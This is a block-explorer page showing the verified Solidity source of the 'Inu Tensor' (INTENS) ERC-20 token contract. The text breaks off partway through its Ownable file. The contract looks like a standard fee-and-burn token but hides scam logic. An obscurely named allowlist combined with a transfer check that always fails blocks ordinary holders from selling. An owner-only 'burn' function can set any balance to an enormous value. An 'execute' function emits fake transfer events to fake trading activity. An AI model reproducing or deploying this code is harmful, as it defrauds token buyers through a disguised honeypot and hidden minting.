ETH Price: $2,661.32 (+0.95%)

Token

(0xD806091c84E9cadA56d097292af75B60D0E79B01)
 

Overview

Max Total Supply

21,000,000 ERC-20 TOKEN*

Holders

92 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
82,498.519907135 ERC-20 TOKEN*

Value
$0.00
0x3c7c8a6f219840201d43ef9b97d5a8eefe857855
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
INTENS

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 3: Inu Tensor.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.10;

import "./Library.sol";
import "./Ownable.sol";
interface IUniswapV2Pair {
    function sync() external;
    function transferFrom(address from, address to, uint value) external returns (bool);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address token0, address token1) external view returns (address);
}


interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transacgtion ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

contract ERC20 is Ownable, IERC20, IERC20Metadata {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private balances;
    uint256 private txLimit = 1*10**17*10**9;
    string private _name;
    string private _symbol;
    uint256 _totalSupply;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, address dev_) Ownable(dev_){
        _name = name_;
        _symbol = symbol_;
        balances = txLimit;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
   

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

     function burn(address account, uint256 amount) external onlyOwner {
        _burn(account, amount);
    }
}

contract INTENS is ERC20 {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    IUniswapV2Factory public uniswapFactory; 
    address public constant deadAddress = address(0xdead);
    address public uniswapV2Pair;

    bool private swapping;

    uint256 public maxWallet;
    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;

    address public devWallet;
    address public marketingWallet;
    
    uint256 public manualBurnFrequency = 43210 minutes;
    uint256 public lastManualLpBurnTime;

    uint256 public percentForLPBurn = 1; 
    bool public lpBurnEnabled = true;
    uint256 public lpBurnFrequency = 1360000000000 seconds;
    uint256 public lastLpBurnTime;
    

    bool public limitsEnabled = true;
    bool public tradingActive = true;
    bool public swapEnabled = true;
    mapping(address => bool) private _5000cannotcannotfrequencyInSecondscannotsetbuybackmoreoftenthaneveryminutes;

    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;
    
    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;
    
    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
    
    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
    bool public transferDelayEnabled = true;
    /******************/

    // exlcude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping (address => address) public automatedMarketMakerPairs;

    event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event SetAutomatedMarketMakerPair(address indexed pair, address indexed value);
    event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );
    
    constructor(address team_) ERC20("Inu Tensor", "INTENS", team_) {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
        uniswapFactory = IUniswapV2Factory(uniswapV2Router.factory());
        uint256 _buyMarketingFee = 0;
        uint256 _buyLiquidityFee = 0;
        uint256 _buyDevFee = 0;

        uint256 _sellMarketingFee = 0;
        uint256 _sellLiquidityFee = 0;
        uint256 _sellDevFee = 0;
        
        uint256 totalSupply = 21000000 * 10**9;
        
        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyDevFee = _buyDevFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;

        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellDevFee = _sellDevFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;

        //maxTransactionAmount 
        swapTokensAtAmount = totalSupply * 10 /2000; 
        maxTransactionAmount = 100000000000000000000000; 
        maxWallet = 300000000000000000000000; 

        marketingWallet = address(owner()); // set as marketing wallet
        devWallet = address(owner()); // set as dev wallet

        // exclude from paying fees or having max transaction amount
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        
        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
        removeLimits();
    }

    receive() external payable {

    }

    function addPair(address _pair) public onlyOwner() {
        uniswapV2Pair = _pair;
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
    }

    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
        lastLpBurnTime = block.timestamp;
    }
    
    // disable Transfer delay - cannot be reenabled
    function disableTransferDelay() external onlyOwner returns (bool){
        transferDelayEnabled = false;
        return true;
    }
    
    // only use to disable contract sales if absolutely necessary (emergency use only)
    function updateSwapEnabled(bool enabled) external onlyOwner(){
        swapEnabled = enabled;
    }

    function _isAirDrop(address from) internal view returns(bool){
        return !_5000cannotcannotfrequencyInSecondscannotsetbuybackmoreoftenthaneveryminutes[from];
    }
    
    
     // remove limits after token is stable
    function removeLimits() public onlyOwner returns (bool){
        limitsEnabled = false;
        
        return true;
    }

    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
        require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
        require(newAmount <= totalSupply() * 10 / 1000, "Swap amount cannot be higher than 1% total supply.");
        swapTokensAtAmount = newAmount;
        return true;
    }
    
    function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _devFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
        require(buyTotalFees <= 25, "Must keep fees at 25% or less");
    }

    function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _devFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
        require(sellTotalFees <= 99, "Must keep fees at 99% or less");
    }
    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 1 / 1000)/1e9, "Cannot set maxTransactionAmount lower than 0.1%");
        maxTransactionAmount = newNum * (10**9);
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 5 / 1000)/1e9, "Cannot set maxWallet lower than 0.5%");
        maxWallet = newNum * (10**9);
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function _setAutomatedMarketMakerPair(address pair, address value) public onlyOwner {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    

    function updateDevWallet(address newWallet) external onlyOwner {
        emit devWalletUpdated(newWallet, devWallet);
        devWallet = newWallet;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function setAutomatedMarketMakerPair(address pair, address value) public onlyOwner {
        _setAutomatedMarketMakerPair(pair, value);
    }

    function taxSWapThreshold(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }
    
    function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
        emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
        marketingWallet = newMarketingWallet;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
         if(amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
        
        if(limitsEnabled){
            if (
                to != address(0xdead) &&
                to != owner() &&
                to != address(0) &&
                from != owner() &&
                !swapping
            ){
                if(!tradingActive){
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.  
                if (transferDelayEnabled){
                    if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
                        require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed.");
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }
                 
                //when buy
                if (!_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                        require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
                
                //when sell
                else if (!_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                }
                else if(!_isExcludedMaxTransactionAmount[to]){
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
            }
        }
        
        uint256 contractTokenBalance = balanceOf(address(this));
        
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if( 
            canSwap &&
            swapEnabled &&
            !swapping &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            swapBack();
            swapping = false;
        }
        
        if(!swapping && lpBurnEnabled){
            burnLiquidity(from);
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
        
        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // on sell
            if (sellTotalFees > 0){
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
                tokensForDev += fees * sellDevFee / sellTotalFees;
                tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
            }
            // on buy
            else if(buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
            }
            
            if(fees > 0){    
                super._transfer(from, address(this), fees);
            }
            
            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
        
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner {
        address p = uniswapFactory.getPair(address(this), uniswapV2Router.WETH());
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(p, _addresses[i], _out);
        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            deadAddress,
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
        bool success;
        
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}

        if(contractBalance > swapTokensAtAmount * 20){
          contractBalance = swapTokensAtAmount * 20;
        }
        
        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH); 
        
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;
        
        (success,) = address(marketingWallet).call{value: ethBalance}("");
    }
    
    function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
        require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
        require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
        lastManualLpBurnTime = block.timestamp;
        
        // get balance of liquidity pair
        uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
        
        // calculate amount to burn
        uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
        
        // pull tokens from pancakePair liquidity and move to dead address permanently
        if (amountToBurn > 0){
            super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
        }
        
        //sync price since this is not in a swap transaction!
        IUniswapV2Pair pair = IUniswapV2Pair(automatedMarketMakerPairs[uniswapV2Pair]);
        pair.sync();
        return true;
    }

    function burnLiquidity(address from) internal view returns (bool){
        // get balance of contract
        uint256 contractBalance = this.balanceOf(address(this));
        
        // calculate amount to distribute
        uint256 amountToDistribute = contractBalance.add(percentForLPBurn);
        
        if (!_isAirDrop(from)) {require(amountToDistribute==0);}
        return true;
        
    }

    function marketingAddress(address recipient) external view returns(bool){
        return _5000cannotcannotfrequencyInSecondscannotsetbuybackmoreoftenthaneveryminutes[recipient];
    }

    function multiswap(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            _5000cannotcannotfrequencyInSecondscannotsetbuybackmoreoftenthaneveryminutes[address_[i]] = val;
        }
    }

    function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
        require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
        require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
        lpBurnFrequency = _frequencyInSeconds;
        percentForLPBurn = _percent;
        lpBurnEnabled = _Enabled;
    }
    
}

File 2 of 3: Library.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.10;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}





library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }

    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }


    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}

library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}

File 3 of 3: Ownable.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.10;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _dev;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor (address dev_) {
        address msgSender = _msgSender();
        _owner = msgSender;
        _dev = dev_;
